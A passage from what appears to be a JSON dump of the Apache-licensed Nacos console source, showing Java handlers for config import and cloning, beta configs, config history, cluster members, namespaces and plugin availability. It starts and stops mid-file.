configInfoList = new ArrayList<>();\n        List<Map<String, String>> unrecognizedList = new ArrayList<>();\n        try {\n            ZipUtils.UnZipResult unziped = ZipUtils.unzip(file.getBytes());\n            Result<Map<String, Object>> errorResult;\n            errorResult = parseImportDataV2(srcUser, unziped, configInfoList, unrecognizedList, namespaceId);\n            if (errorResult != null) {\n                return errorResult;\n            }\n        } catch (IOException e) {\n            failedData.put(\"succCount\", 0);\n            LOGGER.error(\"parsing data failed\", e);\n            return Result.failure(ErrorCode.PARSING_DATA_FAILED, failedData);\n        }\n        \n        if (CollectionUtils.isEmpty(configInfoList)) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.DATA_EMPTY, failedData);\n        }\n        final Timestamp time = TimeUtils.getCurrentTime();\n        Map<String, Object> saveResult = configInfoPersistService.batchInsertOrUpdate(configInfoList, srcUser, srcIp,\n                null, policy);\n        for (ConfigInfo configInfo : configInfoList) {\n            ConfigChangePublisher.notifyConfigChange(\n                    new ConfigDataChangeEvent(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(),\n                            time.getTime()));\n            ConfigTraceService.logPersistenceEvent(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant(), requestIpApp, time.getTime(), InetUtils.getSelfIP(),\n                    ConfigTraceService.PERSISTENCE_EVENT, ConfigTraceService.PERSISTENCE_TYPE_PUB,\n                    configInfo.getContent());\n        }\n        // unrecognizedCount\n        if (!unrecognizedList.isEmpty()) {\n            saveResult.put(\"unrecognizedCount\", unrecognizedList.size());\n            saveResult.put(\"unrecognizedData\", unrecognizedList);\n        }\n        return Result.success(saveResult);\n    }\n    \n    /**\n     * new version import config add .metadata.yml file.\n     *\n     * @param unziped          export file.\n     * @param configInfoList   parse file result.\n     * @param unrecognizedList unrecognized file.\n     * @param namespace        import namespace.\n     * @return error result.\n     */\n    private Result<Map<String, Object>> parseImportDataV2(String srcUser, ZipUtils.UnZipResult unziped,\n            List<ConfigAllInfo> configInfoList, List<Map<String, String>> unrecognizedList, String namespace) {\n        ZipUtils.ZipItem metaDataItem = unziped.getMetaDataItem();\n        String metaData = metaDataItem.getItemData();\n        Map<String, Object> failedData = new HashMap<>(4);\n        \n        ConfigMetadata configMetadata = YamlParserUtil.loadObject(metaData, ConfigMetadata.class);\n        if (configMetadata == null || CollectionUtils.isEmpty(configMetadata.getMetadata())) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.METADATA_ILLEGAL, failedData);\n        }\n        List<ConfigMetadata.ConfigExportItem> configExportItems = configMetadata.getMetadata();\n        // check config metadata\n        for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {\n            if (StringUtils.isBlank(configExportItem.getDataId()) || StringUtils.isBlank(configExportItem.getGroup())\n                    || StringUtils.isBlank(configExportItem.getType())) {\n                failedData.put(\"succCount\", 0);\n                return Result.failure(ErrorCode.METADATA_ILLEGAL, failedData);\n            }\n        }\n        \n        List<ZipUtils.ZipItem> zipItemList = unziped.getZipItemList();\n        Set<String> metaDataKeys = configExportItems.stream()\n                .map(metaItem -> GroupKey.getKey(metaItem.getDataId(), metaItem.getGroup()))\n                .collect(Collectors.toSet());\n        \n        Map<String, String> configContentMap = new HashMap<>(zipItemList.size());\n        int itemNameLength = 2;\n        zipItemList.forEach(item -> {\n            String itemName = item.getItemName();\n            String[] groupAdnDataId = itemName.split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);\n            if (groupAdnDataId.length != itemNameLength) {\n                Map<String, String> unrecognizedItem = new HashMap<>(2);\n                unrecognizedItem.put(\"itemName\", item.getItemName());\n                unrecognizedList.add(unrecognizedItem);\n                return;\n            }\n            \n            String group = groupAdnDataId[0];\n            String dataId = groupAdnDataId[1];\n            String key = GroupKey.getKey(dataId, group);\n            // metadata does not contain config file\n            if (!metaDataKeys.contains(key)) {\n                Map<String, String> unrecognizedItem = new HashMap<>(2);\n                unrecognizedItem.put(\"itemName\", \"未在元数据中找到: \" + item.getItemName());\n                unrecognizedList.add(unrecognizedItem);\n                return;\n            }\n            String itemData = item.getItemData();\n            configContentMap.put(key, itemData);\n        });\n        \n        for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {\n            String dataId = configExportItem.getDataId();\n            String group = configExportItem.getGroup();\n            String content = configContentMap.get(GroupKey.getKey(dataId, group));\n            // config file not in metadata\n            if (content == null) {\n                Map<String, String> unrecognizedItem = new HashMap<>(2);\n                unrecognizedItem.put(\"itemName\", \"未在文件中找到: \" + group + \"/\" + dataId);\n                unrecognizedList.add(unrecognizedItem);\n                continue;\n            }\n            // encrypted\n            Pair<String, String> pair = EncryptionHandler.encryptHandler(dataId, content);\n            content = pair.getSecond();\n            \n            ConfigAllInfo ci = new ConfigAllInfo();\n            ci.setGroup(group);\n            ci.setDataId(dataId);\n            ci.setContent(content);\n            ci.setType(configExportItem.getType());\n            ci.setDesc(configExportItem.getDesc());\n            ci.setAppName(configExportItem.getAppName());\n            ci.setTenant(namespace);\n            ci.setEncryptedDataKey(pair.getFirst());\n            ci.setCreateUser(srcUser);\n            configInfoList.add(ci);\n        }\n        return null;\n    }\n    \n    @Override\n    public Result<Map<String, Object>> cloneConfig(String srcUser, String namespaceId,\n            List<SameNamespaceCloneConfigBean> configBeansList, SameConfigPolicy policy, String srcIp,\n            String requestIpApp) throws NacosException {\n        Map<String, Object> failedData = new HashMap<>(4);\n        if (CollectionUtils.isEmpty(configBeansList)) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.NO_SELECTED_CONFIG, failedData);\n        }\n        if (StringUtils.isNotBlank(namespaceId) && !NamespaceUtil.isDefaultNamespaceId(namespaceId)\n                && namespacePersistService.tenantInfoCountByTenantId(namespaceId) <= 0) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.NAMESPACE_NOT_EXIST, failedData);\n        }\n        \n        List<Long> idList = new ArrayList<>(configBeansList.size());\n        Map<Long, SameNamespaceCloneConfigBean> configBeansMap = configBeansList.stream()\n                .collect(Collectors.toMap(SameNamespaceCloneConfigBean::getCfgId, cfg -> {\n                    idList.add(cfg.getCfgId());\n                    return cfg;\n                }, (k1, k2) -> k1));\n        \n        List<ConfigAllInfo> queryedDataList = configInfoPersistService.findAllConfigInfo4Export(null, null, null, null,\n                idList);\n        \n        if (queryedDataList == null || queryedDataList.isEmpty()) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.DATA_EMPTY, failedData);\n        }\n        \n        List<ConfigAllInfo> configInfoList4Clone = new ArrayList<>(queryedDataList.size());\n        \n        for (ConfigAllInfo ci : queryedDataList) {\n            SameNamespaceCloneConfigBean paramBean = configBeansMap.get(ci.getId());\n            ConfigAllInfo ci4save = new ConfigAllInfo();\n            ci4save.setTenant(namespaceId);\n            ci4save.setType(ci.getType());\n            ci4save.setGroup((paramBean != null && StringUtils.isNotBlank(paramBean.getGroup())) ? paramBean.getGroup()\n                    : ci.getGroup());\n            ci4save.setDataId(\n                    (paramBean != null && StringUtils.isNotBlank(paramBean.getDataId())) ? paramBean.getDataId()\n                            : ci.getDataId());\n            ci4save.setContent(ci.getContent());\n            if (StringUtils.isNotBlank(ci.getAppName())) {\n                ci4save.setAppName(ci.getAppName());\n            }\n            ci4save.setDesc(ci.getDesc());\n            ci4save.setEncryptedDataKey(\n                    ci.getEncryptedDataKey() == null ? StringUtils.EMPTY : ci.getEncryptedDataKey());\n            configInfoList4Clone.add(ci4save);\n        }\n        \n        final Timestamp time = TimeUtils.getCurrentTime();\n        Map<String, Object> saveResult = configInfoPersistService.batchInsertOrUpdate(configInfoList4Clone, srcUser,\n                srcIp, null, policy);\n        for (ConfigInfo configInfo : configInfoList4Clone) {\n            ConfigChangePublisher.notifyConfigChange(\n                    new ConfigDataChangeEvent(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(),\n                            time.getTime()));\n            ConfigTraceService.logPersistenceEvent(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant(), requestIpApp, time.getTime(), InetUtils.getSelfIP(),\n                    ConfigTraceService.PERSISTENCE_EVENT, ConfigTraceService.PERSISTENCE_TYPE_PUB,\n                    configInfo.getContent());\n        }\n        return Result.success(saveResult);\n    }\n    \n    @Override\n    public boolean removeBetaConfig(String dataId, String group, String namespaceId, String remoteIp,\n            String requestIpApp, String srcUser) {\n        try {\n            configInfoGrayPersistService.removeConfigInfoGray(dataId, group, namespaceId, BetaGrayRule.TYPE_BETA,\n                    remoteIp, srcUser);\n            configMigrateService.removeConfigInfoGrayMigrate(dataId, group, namespaceId, BetaGrayRule.TYPE_BETA,\n                    remoteIp, srcUser);\n        } catch (Throwable e) {\n            LOGGER.error(\"remove beta data error\", e);\n            return false;\n        }\n        ConfigTraceService.logPersistenceEvent(dataId, group, namespaceId, requestIpApp, System.currentTimeMillis(),\n                remoteIp, ConfigTraceService.PERSISTENCE_EVENT_BETA, ConfigTraceService.PERSISTENCE_TYPE_REMOVE, null);\n        if (PropertyUtil.isGrayCompatibleModel() && oldTableVersion) {\n            configInfoBetaPersistService.removeConfigInfo4Beta(dataId, group, namespaceId);\n        }\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(dataId, group, namespaceId, BetaGrayRule.TYPE_BETA,\n                        System.currentTimeMillis()));\n        return true;\n        \n    }\n    \n    @Override\n    public ConfigGrayInfo queryBetaConfig(String dataId, String group, String namespaceId) throws NacosException {\n        ConfigInfoGrayWrapper beta4Gray = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group, namespaceId,\n                \"beta\");\n        if (Objects.nonNull(beta4Gray)) {\n            String encryptedDataKey = beta4Gray.getEncryptedDataKey();\n            Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, encryptedDataKey,\n                    beta4Gray.getContent());\n            beta4Gray.setContent(pair.getSecond());\n\n            //find the corresponding production config to get the `type` field, because the `type` field is not stored in the beta table\n            ConfigInfoWrapper productionConfig = configInfoPersistService.findConfigInfo(dataId, group, namespaceId);\n            if (Objects.nonNull(productionConfig)) {\n                beta4Gray.setType(productionConfig.getType());\n            }\n            return ResponseUtil.transferToConfigGrayInfo(beta4Gray);\n        }\n        return null;\n    }\n    \n    private Page<ConfigBasicInfo> transferToConfigBasicInfo(Page<ConfigInfo> configInfoPage) {\n        Page<ConfigBasicInfo> result = new Page<>();\n        result.setTotalCount(configInfoPage.getTotalCount());\n        result.setPagesAvailable(configInfoPage.getPagesAvailable());\n        result.setPageNumber(configInfoPage.getPageNumber());\n        result.setPageItems(configInfoPage.getPageItems().stream().map(ResponseUtil::transferToConfigBasicInfo)\n                .collect(Collectors.toList()));\n        return result;\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/config/HistoryInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.HistoryService;\nimport com.alibaba.nacos.config.server.utils.ResponseUtil;\nimport com.alibaba.nacos.console.handler.config.HistoryHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * .\n *\n * @author zhangyukun on:2024/8/16\n */\n@Service\n@EnabledInnerHandler\n@Conditional(ConditionFunctionEnabled.ConditionConfigEnabled.class)\npublic class HistoryInnerHandler implements HistoryHandler {\n    \n    private final HistoryService historyService;\n    \n    @Autowired\n    public HistoryInnerHandler(HistoryService historyService) {\n        this.historyService = historyService;\n    }\n    \n    @Override\n    public ConfigHistoryDetailInfo getConfigHistoryInfo(String dataId, String group, String namespaceId, Long nid)\n            throws NacosException {\n        ConfigHistoryDetailInfo result;\n        try {\n            ConfigHistoryInfo configHistoryInfo = historyService.getConfigHistoryInfo(dataId, group, namespaceId, nid);\n            result = ResponseUtil.transferToConfigHistoryDetailInfo(configHistoryInfo);\n        } catch (DataAccessException e) {\n            throw new NacosApiException(HttpStatus.NOT_FOUND.value(), ErrorCode.RESOURCE_NOT_FOUND,\n                    \"certain config history for nid = \" + nid + \" not exist\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Page<ConfigHistoryBasicInfo> listConfigHistory(String dataId, String group, String namespaceId,\n            Integer pageNo, Integer pageSize) throws NacosException {\n        Page<ConfigHistoryInfo> configHistoryInfoPage = historyService.listConfigHistory(dataId, group, namespaceId,\n                pageNo, pageSize);\n        Page<ConfigHistoryBasicInfo> result = new Page<>();\n        result.setPagesAvailable(configHistoryInfoPage.getPagesAvailable());\n        result.setPageNumber(configHistoryInfoPage.getPageNumber());\n        result.setTotalCount(configHistoryInfoPage.getTotalCount());\n        result.setPageItems(\n                configHistoryInfoPage.getPageItems().stream().map(ResponseUtil::transferToConfigHistoryBasicInfo)\n                        .collect(Collectors.toList()));\n        return result;\n    }\n    \n    @Override\n    public ConfigHistoryDetailInfo getPreviousConfigHistoryInfo(String dataId, String group, String namespaceId,\n            Long id) throws NacosException {\n        ConfigHistoryDetailInfo result;\n        try {\n            ConfigHistoryInfo configHistoryInfo = historyService.getPreviousConfigHistoryInfo(dataId, group,\n                    namespaceId, id);\n            result = ResponseUtil.transferToConfigHistoryDetailInfo(configHistoryInfo);\n        } catch (DataAccessException e) {\n            throw new NacosApiException(HttpStatus.NOT_FOUND.value(), ErrorCode.RESOURCE_NOT_FOUND,\n                    \"previous config history for id = \" + id + \" not exist\");\n        }\n        return result;\n    }\n    \n    @Override\n    public List<ConfigBasicInfo> getConfigsByTenant(String namespaceId) {\n        List<ConfigInfoWrapper> configListByNamespace = historyService.getConfigListByNamespace(namespaceId);\n        return configListByNamespace.stream().map(ResponseUtil::transferToConfigBasicInfo).toList();\n    }\n}"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/core/ClusterInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.core;\n\nimport com.alibaba.nacos.api.model.response.NacosMember;\nimport com.alibaba.nacos.console.handler.core.ClusterHandler;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Collection;\n\n/**\n * Implementation of ClusterHandler that handles cluster-related operations.\n *\n * @author zhangyukun\n */\n@Service\n@EnabledInnerHandler\npublic class ClusterInnerHandler implements ClusterHandler {\n    \n    private final ServerMemberManager memberManager;\n    \n    /**\n     * Constructs a new ClusterInnerHandler with the provided dependencies.\n     *\n     * @param memberManager the manager for server members\n     */\n    @Autowired\n    public ClusterInnerHandler(ServerMemberManager memberManager) {\n        this.memberManager = memberManager;\n    }\n    \n    @Override\n    public Collection<? extends NacosMember> getNodeList(String ipKeyWord) {\n        return memberManager.allMembers();\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/core/NamespaceInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.console.handler.core.NamespaceHandler;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.core.namespace.model.form.NamespaceForm;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Implementation of NamespaceHandler that handles namespace-related operations.\n *\n * @author zhangyukun\n */\n@Service\n@EnabledInnerHandler\npublic class NamespaceInnerHandler implements NamespaceHandler {\n    \n    private final NamespaceOperationService namespaceOperationService;\n    \n    public NamespaceInnerHandler(NamespaceOperationService namespaceOperationService) {\n        this.namespaceOperationService = namespaceOperationService;\n    }\n    \n    @Override\n    public List<Namespace> getNamespaceList() {\n        return namespaceOperationService.getNamespaceList();\n    }\n    \n    @Override\n    public Namespace getNamespaceDetail(String namespaceId) throws NacosException {\n        return namespaceOperationService.getNamespace(namespaceId);\n    }\n    \n    @Override\n    public Boolean createNamespace(String namespaceId, String namespaceName, String namespaceDesc)\n            throws NacosException {\n        return namespaceOperationService.createNamespace(namespaceId, namespaceName, namespaceDesc);\n    }\n    \n    @Override\n    public Boolean updateNamespace(NamespaceForm namespaceForm) throws NacosException {\n        return namespaceOperationService.editNamespace(namespaceForm.getNamespaceId(), namespaceForm.getNamespaceName(),\n                namespaceForm.getNamespaceDesc());\n    }\n    \n    @Override\n    public Boolean deleteNamespace(String namespaceId) {\n        return namespaceOperationService.removeNamespace(namespaceId);\n    }\n    \n    @Override\n    public Boolean checkNamespaceIdExist(String namespaceId) {\n        return namespaceOperationService.namespaceExists(namespaceId);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/core/PluginInnerHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.core;\n\nimport com.alibaba.nacos.api.common.NodeState;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.plugin.PluginType;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.handler.core.PluginHandler;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.cluster.remote.ClusterRpcClientProxy;\nimport com.alibaba.nacos.core.cluster.remote.request.PluginAvailabilityRequest;\nimport com.alibaba.nacos.core.cluster.remote.response.PluginAvailabilityResponse;\nimport com.alibaba.nacos.core.plugin.PluginManager;\nimport com.alibaba.nacos.core.plugin.model.PluginInfo;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginDetailVO;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginInfoVO;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.LongAdder;\nimport java.util.stream.Collectors;\n\n/**\n * Inner implementation of PluginHandler for handling plugin-related operations.\n *\n * @author WangzJi\n */\n@Service\n@EnabledInnerHandler\npublic class PluginInnerHandler implements PluginHandler {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(PluginInnerHandler.class);\n\n    private final PluginManager pluginManager;\n\n    private final ServerMemberManager memberManager;\n\n    private final ClusterRpcClientProxy rpcClientProxy;\n\n    public PluginInnerHandler(PluginManager pluginManager, ServerMemberManager memberManager,\n            ClusterRpcClientProxy rpcClientProxy) {\n        this.pluginManager = pluginManager;\n        this.memberManager = memberManager;\n        this.rpcClientProxy = rpcClientProxy;\n    }\n\n    @Override\n    public List<PluginInfoVO> listPlugins(String pluginType) throws NacosException {\n        List<PluginInfoVO> localList = pluginManager.listAllPlugins().stream()\n                .filter(p -> StringUtils.isBlank(pluginType) || pluginType.equals(p.getPluginType().getType()))\n                .map(this::convertToVO)\n                .collect(Collectors.toList());\n\n        Collection<Member> members = memberManager.allMembers();\n        int totalNodeCount = members.size();\n        Map<String, LongAdder> availableCountMap = new ConcurrentHashMap<>(localList.size());\n\n        List<CompletableFuture<Void>> futures = members.stream()\n                .map(member -> CompletableFuture.runAsync(() -> {\n                    Map<String, Boolean> memberAvailability = queryMemberAvailability(member);\n                    if (memberAvailability != null) {\n                        memberAvailability.forEach((pluginId, available) -> {\n                            if (Boolean.TRUE.equals(available)) {\n                                availableCountMap.computeIfAbsent(pluginId, k -> new LongAdder()).increment();\n                            }\n                        });\n                    }\n                }))\n                .collect(Collectors.toList());\n\n        awaitCompletion(futures);\n        \n        localList.forEach(vo -> {\n            vo.setTotalNodeCount(totalNodeCount);\n            LongAdder adder = availableCountMap.get(vo.getPluginId());\n            vo.setAvailableNodeCount(adder != null ? adder.intValue() : 0);\n        });\n\n        return localList;\n    }\n\n    private Map<String, Boolean> queryMemberAvailability(Member member) {\n        try {\n            if (memberManager.getSelf().equals(member)) {\n                return pluginManager.listAllPlugins().stream()\n                        .collect(Collectors.toMap(PluginInfo::getPluginId, PluginInfo::isEnabled));\n            }\n\n            if (!NodeState.UP.equals(member.getState())) {\n                return null;\n            }\n\n            PluginAvailabilityRequest request = new PluginAvailabilityRequest();\n            request.setQueryAll(true);\n\n            PluginAvailabilityResponse response = (PluginAvailabilityResponse) rpcClientProxy.sendRequest(\n                    member, request);\n            if (response == null) {\n                LOGGER.warn(\"Received null response when querying plugin availability from node {}\", member.getAddress());\n                return null;\n            }\n            return response.getPluginAvailabilityMap();\n        } catch (Exception e) {\n            LOGGER.warn(\"Failed to query plugin availability from node {}\", member.getAddress(), e);\n            return null;\n        }\n    }\n\n    @Override\n    public PluginDetailVO getPluginDetail(String pluginType, String pluginName) throws NacosException {\n        String pluginId = pluginType + \":\" + pluginName;\n        return pluginManager.getPlugin(pluginId)\n                .map(this::convertToDetailVO)\n                .orElseThrow(() -> new NacosApiException(HttpStatus.NOT_FOUND.value(), ErrorCode.RESOURCE_NOT_FOUND,\n                        \"Plugin not found: \" + pluginId));\n    }\n\n    @Override\n    public void updatePluginStatus(String pluginType, String pluginName, boolean enabled, boolean localOnly)\n            throws NacosException {\n        String pluginId = pluginType + \":\" + pluginName;\n        pluginManager.setPluginEnabled(pluginId, enabled, localOnly);\n    }\n\n    @Override\n    public void updatePluginConfig(String pluginType, String pluginName, Map<String, String> config,\n            boolean localOnly) throws NacosException {\n        String pluginId = pluginType + \":\" + pluginName;\n        pluginManager.updatePluginConfig(pluginId, config, localOnly);\n    }\n\n    @Override\n    public Map<String, Boolean> getPluginAvailability(String pluginType, String pluginName) throws NacosException {\n        String pluginId = pluginType + \":\" + pluginName;\n\n        if (!pluginManager.isPluginAvailable(pluginId)) {\n            throw new NacosApiException(HttpStatus.NOT_FOUND.value(), ErrorCode.RESOURCE_NOT_FOUND,\n                    \"Plugin not found: \" + pluginId);\n        }\n\n        Collection<Member> members = memberManager.allMembers();\n        Map<String, Boolean> nodeAvailability = new ConcurrentHashMap<>(members.size());\n\n        List<CompletableFuture<Void>> futures = members.stream()\n                .map(member -> CompletableFuture.runAsync(() -> {\n                    String address = member.getAddress();\n                    nodeAvailability.put(address, checkMemberPluginAvailability(member, pluginId));\n                }))\n                .collect(Collectors.toList());\n\n        awaitCompletion(futures);\n\n        return nodeAvailability;\n    }\n\n    private boolean checkMemberPluginAvailability(Member member, String pluginId) {\n        if (memberManager.getSelf().equals(member)) {\n            return pluginManager.isPluginAvailable(pluginId);\n        }\n\n        if (!NodeState.UP.equals(member.getState())) {\n            return false;\n        }\n\n        try {\n            PluginAvailabilityRequest request = new PluginAvailabilityRequest();\n            request.setPluginId(pluginId);\n\n            PluginAvailabilityResponse response = (PluginAvailabilityResponse) rpcClientProxy.sendRequest(\n                    member, request);\n            if (response == null) {\n                LOGGER.warn(\"Received null response when querying plugin {} availability from node {}\",\n                        pluginId, member.getAddress());\n                return false;\n            }\n            return response.isAvailable();\n        } catch (Exception e) {\n            LOGGER.warn(\"Failed to query plugin {} availability from node {}: {}\",\n                    pluginId, member.getAddress(), e.getMessage());\n            return false;\n        }\n    }\n\n    private void awaitCompletion(List<CompletableFuture<Void>> futures) {\n        try {\n            CompletableFuture.allOf(futures.toArray(new CompletableFuture[0]))\n                    .get(5, TimeUnit.SECONDS);\n        } catch (TimeoutException e) {\n            LOGGER.warn(\"Timeout waiting for plugin availability responses from some nodes\");\n        } catch (Exception e) {\n            LOGGER.error(\"Error collecting plugin availability from cluster\", e);\n        }\n    }\n\n    private PluginInfoVO convertToVO(PluginInfo pluginInfo) {\n        PluginInfoVO vo = new PluginInfoVO();\n        vo.setPluginId(pluginInfo.getPluginId());\n        vo.setPluginType(pluginInfo.getPluginType().getType());\n        vo.setPluginName(pluginInfo.getPluginName());\n        vo.setEnabled(pluginInfo.isEnabled());\n        vo.setCritical(pluginInfo.isCritical());\n        vo.setConfigurable(pluginInfo.isConfigurable());\n        vo.setExclusive(isExclusiveType(pluginInfo.getPluginType()));\n        return vo;\n    }\n\n    /**\n     * Check if the plugin type is exclusive (only one can be active at a time).\n     * Exclusive types: AUTH, DATASOURCE_DIALECT.\n     *\n     * @param type plugin type\n     * @return true if exclusive\n     */\n    private boolean isExclusiveType(PluginType type) {\n        return type == PluginType.AUTH || type == PluginType.DATASOURCE_DIALECT;\n    }\n\n    private PluginDetailVO convertToDetailVO(PluginInfo pluginInfo) {\n        PluginDetailVO vo = new PluginDetailVO();\n        vo.setPluginId(pluginInfo.getPluginId());\n        vo.setPluginType(pluginInfo.getPluginType().getType());\n        vo.setPluginName(pluginInfo.getPluginName());\n        vo.setEnabled(pluginInfo.isEnabled());\n        vo.setCritical(pluginInfo.isCritical());\n        vo.setConfigurable(pluginInfo.isConfigurable());\n        vo.setConfig(pluginInfo.getConfig());\n        vo.setConfigDefinitions(pluginInfo.getConfigDefinitions());\n        return vo;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/naming/InstanceInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.trace.event.naming.UpdateInstanceTraceEvent;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.console.handler.naming.InstanceHandler;\nimport com.alibaba.nacos.core.utils.PageUtil;\nimport com.alibaba.nacos.naming.core.CatalogService;\nimport com.alibaba.nacos.naming.core.CatalogServiceV2Impl;\nimport com.alibaba.nacos.naming.core.InstanceOperatorClientImpl;\nimport com.alibaba.nacos.naming.model.form.InstanceForm;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Implementation of InstanceHandler that handles instance-related 